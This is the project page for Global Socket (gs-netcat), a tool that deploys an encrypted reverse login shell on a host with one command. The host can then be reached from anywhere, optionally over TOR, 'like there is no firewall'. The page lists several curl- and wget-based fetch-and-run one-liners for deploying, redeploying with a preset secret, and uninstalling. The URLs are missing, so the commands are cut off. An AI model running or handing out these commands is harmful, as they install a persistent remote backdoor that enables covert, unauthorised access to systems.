Global Socket

Connect like there is no firewall. Securely.

Project maintained by hackerschoice Hosted on GitHub Pages — Theme by mattgraham

Can no longer connect to your deployed gs-netcat? Use this command »S=YourSecret bash -c “$(curl -fsSL”« or »S=YourSecret bash -c “$(wget -qO-”« to access your old session. Click here to update to 1.4.32 or later.

Deploy a reverse login shell with a single command (fully automated) - and access the shell remotely - encrypted - and via TOR if you like.

This must be the quickest way to access a system – anonymous

Use either one of these two commands to deploy:

bash -c "$(curl -fsSL"
bash -c "$(wget -qO-"

Use either one of these two commands to uninstall:

GS_UNDO=1 bash -c "$(curl -fsSL"
GS_UNDO=1 bash -c "$(wget -qO-"

Access the remote host from anywhere in the world:

gs-netcat -s ExampleSecretChangeMe -i

This is just one of many GSOCKET examples. More on GitHub.


Deploy on a host


Log in to the host from your workstation


Tips & Tricks

Deploy with a predefined secret:

X=ExampleSecretChangeMe bash -c "$(curl -fsSL"

Deploy with curl and fallback to wget:

command -v curl >/dev/null && bash -c "$(curl -fsSL" || bash -c "$(wget -qO-"

Deploy with a predefined secret. Try curl and fallback to wget:

X=ExampleSecretChangeMe && (command -v curl >/dev/null && bash -c "$(curl -fsSL" || bash -c "$(wget -qO-")

Get Involved. We are looking for volunteers to work on the website and a logo and to discuss new ideas. Join us on telegram.